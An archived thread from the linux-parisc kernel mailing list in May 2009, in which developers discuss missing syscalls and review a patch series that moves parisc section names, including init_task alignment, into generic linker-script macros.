	id 1M042O-0000bV-3x
	for glpp-linux-parisc@gmane.org; Sat, 02 May 2009 03:29:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751266AbZEBB3G (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 1 May 2009 21:29:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751420AbZEBB3G
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 1 May 2009 21:29:06 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4463 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751266AbZEBB3F (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 1 May 2009 21:29:05 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 955BA4E9F; Fri,  1 May 2009 21:28:22 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1630
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1630>

The following syscalls aren't wired up:

<stdin>:1421:2: warning: #warning syscall preadv not implemented
<stdin>:1425:2: warning: #warning syscall pwritev not implemented

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 3/5] parisc: use new macros for .data.init_task.
Date: Sat, 02 May 2009 07:13:37 +0200
Lines: 71
Approved: news@gmane.org
Message-ID: <49FBD681.9080605@gmx.de>
References: <1241135719-9286-1-git-send-email-tabbott@mit.edu> <1241135719-9286-2-git-send-email-tabbott@mit.edu> <1241135719-9286-3-git-send-email-tabbott@mit.edu> <1241135719-9286-4-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241241238 22608 80.91.229.12 (2 May 2009 05:13:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 May 2009 05:13:58 +0000 (UTC)
Cc: Sam Ravnborg <sam@ravnborg.org>,
	Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@mit.edu>,
	Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Tim Abbott <tabbott@MIT.EDU>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 02 07:13:47 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M07Xm-0002ro-WB
	for glpp-linux-parisc@gmane.org; Sat, 02 May 2009 07:13:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750846AbZEBFNn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 May 2009 01:13:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750844AbZEBFNn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 2 May 2009 01:13:43 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:57157 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750762AbZEBFNm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 May 2009 01:13:42 -0400
Original-Received: (qmail invoked by alias); 02 May 2009 05:13:40 -0000
Original-Received: from mnhm-590ea7a5.pool.einsundeins.de (EHLO [192.168.178.60]) [89.14.167.165]
  by mail.gmx.net (mp067) with SMTP; 02 May 2009 07:13:40 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18P6uoaM8MPpmxil0QApzgmS/d3bkaB3kke0VllQL
	lWxNOKuuLa8f/m
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
In-Reply-To: <1241135719-9286-4-git-send-email-tabbott@mit.edu>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.48
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1631 gmane.linux.kernel:831066
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1631>

Tim Abbott wrote:
> .data.init_task should not need a separate output section; this change
> moves it into the .data section.
> 
> Signed-off-by: Tim Abbott <tabbott@mit.edu>
> Cc: Kyle McMartin <kyle@mcmartin.ca>
> Cc: Helge Deller <deller@gmx.de>
> Cc: linux-parisc@vger.kernel.org


I think this patch is wrong, although it is theoretically correct.

IIRC, gcc on hppa is not able to provide an alignment >= 8k, which is
why we have done the 16k alignment inside the linker script.
So, I think this change will prevent the parisc kernel to boot up.
Needs testing.

Helge

> ---
>  arch/parisc/kernel/init_task.c   |    2 +-
>  arch/parisc/kernel/vmlinux.lds.S |   10 ++--------
>  2 files changed, 3 insertions(+), 9 deletions(-)
> 
> diff --git a/arch/parisc/kernel/init_task.c b/arch/parisc/kernel/init_task.c
> index 1e25a45..8ee17ea 100644
> --- a/arch/parisc/kernel/init_task.c
> +++ b/arch/parisc/kernel/init_task.c
> @@ -48,7 +48,7 @@ EXPORT_SYMBOL(init_mm);
>   * "init_task" linker map entry..
>   */
>  union thread_union init_thread_union
> -	__attribute__((aligned(128))) __attribute__((__section__(".data.init_task"))) =
> +	__attribute__((aligned(128))) __init_task_data =
>  		{ INIT_THREAD_INFO(init_task) };
>  
>  #if PT_NLEVELS == 3
> diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
> index b5936c9..c8a528d 100644
> --- a/arch/parisc/kernel/vmlinux.lds.S
> +++ b/arch/parisc/kernel/vmlinux.lds.S
> @@ -103,6 +103,8 @@ SECTIONS
>  	. = ALIGN(L1_CACHE_BYTES);
>  	/* Data */
>  	.data : {
> +		/* assembler code expects init_task to be 16k aligned */
> +		INIT_TASK_DATA(16384)
>  		NOSAVE_DATA
>  		CACHELINE_ALIGNED_DATA(L1_CACHE_BYTES)
>  		DATA_DATA
> @@ -133,14 +135,6 @@ SECTIONS
>  	}
>  	__bss_stop = .;
>  
> -
> -	/* assembler code expects init_task to be 16k aligned */
> -	. = ALIGN(16384);
> -	/* init_task */
> -	.data.init_task : {
> -		*(.data.init_task)
> -	}
> -
>  #ifdef CONFIG_64BIT
>  	. = ALIGN(16);
>  	/* Linkage tables */

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 3/5] parisc: use new macros for .data.init_task.
Date: Sat, 2 May 2009 10:04:01 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <20090502140402.AC1124FC6@hiauly1.hia.nrc.ca>
References: <49FBD681.9080605@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241273062 21743 80.91.229.12 (2 May 2009 14:04:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 May 2009 14:04:22 +0000 (UTC)
Cc: tabbott@MIT.EDU, sam@ravnborg.org, linux-kernel@vger.kernel.org,
	andersk@mit.edu, wdaher@mit.edu, vda.linux@googlemail.com,
	jbarnold@mit.edu, kyle@mcmartin.ca, linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 02 16:04:09 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M0Fp2-0000wM-Dw
	for glpp-linux-parisc@gmane.org; Sat, 02 May 2009 16:04:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753920AbZEBOEG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 May 2009 10:04:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753931AbZEBOEG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 2 May 2009 10:04:06 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4486 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753920AbZEBOEF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 May 2009 10:04:05 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id AC1124FC6; Sat,  2 May 2009 10:04:02 -0400 (EDT)
In-Reply-To: <49FBD681.9080605@gmx.de> from "Helge Deller" at May 2, 2009 07:13:37 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1632 gmane.linux.kernel:831124
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1632>

> IIRC, gcc on hppa is not able to provide an alignment >= 8k, which is
> why we have done the 16k alignment inside the linker script.

How does this arise?  We have the following define for MAX_OFILE_ALIGNMENT
in elfos.h:

#define MAX_OFILE_ALIGNMENT (((unsigned int) 1 << 28) * 8)

If you are correct, MAX_OFILE_ALIGNMENT should be changed.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 3/5] parisc: use new macros for .data.init_task.
Date: Sat, 2 May 2009 10:13:08 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20090502141308.GA28342@bombadil.infradead.org>
References: <1241135719-9286-1-git-send-email-tabbott@mit.edu> <1241135719-9286-2-git-send-email-tabbott@mit.edu> <1241135719-9286-3-git-send-email-tabbott@mit.edu> <1241135719-9286-4-git-send-email-tabbott@mit.edu> <49FBD681.9080605@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241273629 23058 80.91.229.12 (2 May 2009 14:13:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 May 2009 14:13:49 +0000 (UTC)
Cc: Tim Abbott <tabbott@MIT.EDU>, Sam Ravnborg <sam@ravnborg.org>,
	Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@mit.edu>,
	Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 02 16:13:39 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M0Fy8-0004Z2-Fh
	for glpp-linux-parisc@gmane.org; Sat, 02 May 2009 16:13:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755090AbZEBONa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 May 2009 10:13:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754335AbZEBONa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 2 May 2009 10:13:30 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:35072 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753927AbZEBON3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 May 2009 10:13:29 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1M0Fxl-0006bC-4U; Sat, 02 May 2009 14:13:09 +0000
Content-Disposition: inline
In-Reply-To: <49FBD681.9080605@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1633 gmane.linux.kernel:831126
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1633>

On Sat, May 02, 2009 at 07:13:37AM +0200, Helge Deller wrote:
> I think this patch is wrong, although it is theoretically correct.
> 
> IIRC, gcc on hppa is not able to provide an alignment >= 8k, which is
> why we have done the 16k alignment inside the linker script.
> So, I think this change will prevent the parisc kernel to boot up.
> Needs testing.
> 

I think you're confusing this with the 8-byte maximum alignment from
kmalloc and on-stack that prevents us from just using a 16-byte aligned
word as a lock on pa1.1?

The patch I trimmed from this mail looks correct to me.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Missing syscalls in 2.6.30-rc4
Date: Sat, 2 May 2009 10:16:18 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20090502141618.GB28342@bombadil.infradead.org>
References: <20090502012823.955BA4E9F@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241273791 23452 80.91.229.12 (2 May 2009 14:16:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 May 2009 14:16:31 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 02 16:16:21 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M0G0q-0005jY-R8
	for glpp-linux-parisc@gmane.org; Sat, 02 May 2009 16:16:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754112AbZEBOQT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 May 2009 10:16:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754199AbZEBOQS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 2 May 2009 10:16:18 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:40743 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754112AbZEBOQS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 May 2009 10:16:18 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1M0G0o-00031W-L2; Sat, 02 May 2009 14:16:18 +0000
Content-Disposition: inline
In-Reply-To: <20090502012823.955BA4E9F@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1634
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1634>

On Fri, May 01, 2009 at 09:28:19PM -0400, John David Anglin wrote:
> The following syscalls aren't wired up:
> 
> <stdin>:1421:2: warning: #warning syscall preadv not implemented
> <stdin>:1425:2: warning: #warning syscall pwritev not implemented
> 

Yeah, I committed this to my tracehook branch by mistake, sorry. I'll
sort out what's in git this weekend, as I've been busier than expected
with RHT stuff this week.

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 0/5] section name cleanup for parisc
Date: Sat, 2 May 2009 10:19:53 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <20090502141953.GC28342@bombadil.infradead.org>
References: <1241135719-9286-1-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241274013 23974 80.91.229.12 (2 May 2009 14:20:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 May 2009 14:20:13 +0000 (UTC)
Cc: Sam Ravnborg <sam@ravnborg.org>,
	Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@mit.edu>,
	Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Tim Abbott <tabbott@MIT.EDU>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 02 16:20:02 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M0G4P-0006yY-OK
	for glpp-linux-parisc@gmane.org; Sat, 02 May 2009 16:20:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755812AbZEBOT7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 May 2009 10:19:59 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756341AbZEBOT7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 2 May 2009 10:19:59 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:41237 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755713AbZEBOT6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 May 2009 10:19:58 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1M0G4H-0008QP-1Y; Sat, 02 May 2009 14:19:53 +0000
Content-Disposition: inline
In-Reply-To: <1241135719-9286-1-git-send-email-tabbott@mit.edu>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1635 gmane.linux.kernel:831130
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1635>

On Thu, Apr 30, 2009 at 07:55:14PM -0400, Tim Abbott wrote:
> This patch series cleans up the section names on the parisc
> architecture.  It requires the architecture-independent macro
> definitions from this patch series:
> 
> <http://www.spinics.net/lists/mips/msg33499.html>
> 
> The long-term goal here is to add support for building the kernel with
> -ffunction-sections -fdata-sections.  This requires renaming all the
> magic section names in the kernel of the form .text.foo, .data.foo,
> .bss.foo, and .rodata.foo to not have collisions with sections
> generated for code like:
> 
> static int nosave = 0; /* -fdata-sections places in .data.nosave */
> static void head(); /* -ffunction-sections places in .text.head */
> 
> Note that these patches have not been boot-tested (aside from testing
> the analogous changes on x86), since I don't have access to the
> appropriate hardware.
> 
> 	-Tim Abbott
> 
> 
> Tim Abbott (5):
>   parisc: use NOSAVE_DATA macro for .data.nosave section.
>   parisc: use new macro for .data.cacheline_aligned section.
>   parisc: use new macros for .data.init_task.
>   parisc: use new macro for .data.read_mostly section.
>   parisc: convert to new generic read_mostly support.
> 

Not sure what the easiest way to merge these will be... I'll apply them
to a section-cleanup branch in the parisc git tree until the
architecture independent portions are upstream.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 3/5] parisc: use new macros for .data.init_task.
Date: Sat, 02 May 2009 18:16:38 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <49FC71E6.4000100@gmx.de>
References: <1241135719-9286-1-git-send-email-tabbott@mit.edu> <1241135719-9286-2-git-send-email-tabbott@mit.edu> <1241135719-9286-3-git-send-email-tabbott@mit.edu> <1241135719-9286-4-git-send-email-tabbott@mit.edu> <49FBD681.9080605@gmx.de> <20090502141308.GA28342@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241281020 8492 80.91.229.12 (2 May 2009 16:17:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 May 2009 16:17:00 +0000 (UTC)
Cc: Tim Abbott <tabbott@MIT.EDU>, Sam Ravnborg <sam@ravnborg.org>,
	Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@mit.edu>,
	Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>, linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 02 18:16:50 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M0HtS-0002zX-CP
	for glpp-linux-parisc@gmane.org; Sat, 02 May 2009 18:16:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755364AbZEBQQo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 May 2009 12:16:44 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755430AbZEBQQo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 2 May 2009 12:16:44 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:37567 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1755272AbZEBQQn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 May 2009 12:16:43 -0400
Original-Received: (qmail invoked by alias); 02 May 2009 16:16:42 -0000
Original-Received: from mnhm-590ea7a5.pool.einsundeins.de (EHLO [192.168.178.60]) [89.14.167.165]
  by mail.gmx.net (mp016) with SMTP; 02 May 2009 18:16:42 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19qBdwCUYpq+bXw5cXwkkn3Rhp69x2ReD39Qne9Fl
	ct0kOabvik9+rE
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
In-Reply-To: <20090502141308.GA28342@bombadil.infradead.org>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.65
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1636 gmane.linux.kernel:831148
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1636>

Kyle McMartin wrote:
> On Sat, May 02, 2009 at 07:13:37AM +0200, Helge Deller wrote:
>> I think this patch is wrong, although it is theoretically correct.
>>
>> IIRC, gcc on hppa is not able to provide an alignment >= 8k, which is
>> why we have done the 16k alignment inside the linker script.
>> So, I think this change will prevent the parisc kernel to boot up.
>> Needs testing.
>>
> 
> I think you're confusing this with the 8-byte maximum alignment from
> kmalloc and on-stack that prevents us from just using a 16-byte aligned
> word as a lock on pa1.1?

No, I was not confusing it with the 8byte-alignment.

I really meant that a > 8k alignment was not possible.
I tried exactly the same stuff once and failed.
I think the restriction came from hpux compatibility or some old gas...

Anyway, I just tried some assembly and it seems to work.

> The patch I trimmed from this mail looks correct to me.

If you apply it and it boots OK for you, I'm fine.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 0/5] section name cleanup for parisc
Date: Sat, 2 May 2009 18:32:35 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <20090502163235.GA2423@uranus.ravnborg.org>
References: <1241135719-9286-1-git-send-email-tabbott@mit.edu> <20090502141953.GC28342@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241281855 10867 80.91.229.12 (2 May 2009 16:30:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 May 2009 16:30:55 +0000 (UTC)
Cc: Tim Abbott <tabbott@MIT.EDU>,
	Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@mit.edu>,
	Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 02 18:30:45 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M0I6q-00009J-CZ
	for glpp-linux-parisc@gmane.org; Sat, 02 May 2009 18:30:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756907AbZEBQai (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 May 2009 12:30:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757684AbZEBQai
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 2 May 2009 12:30:38 -0400
Original-Received: from pfepa.post.tele.dk ([195.41.46.235]:45563 "EHLO
	pfepa.post.tele.dk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757552AbZEBQag (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 May 2009 12:30:36 -0400
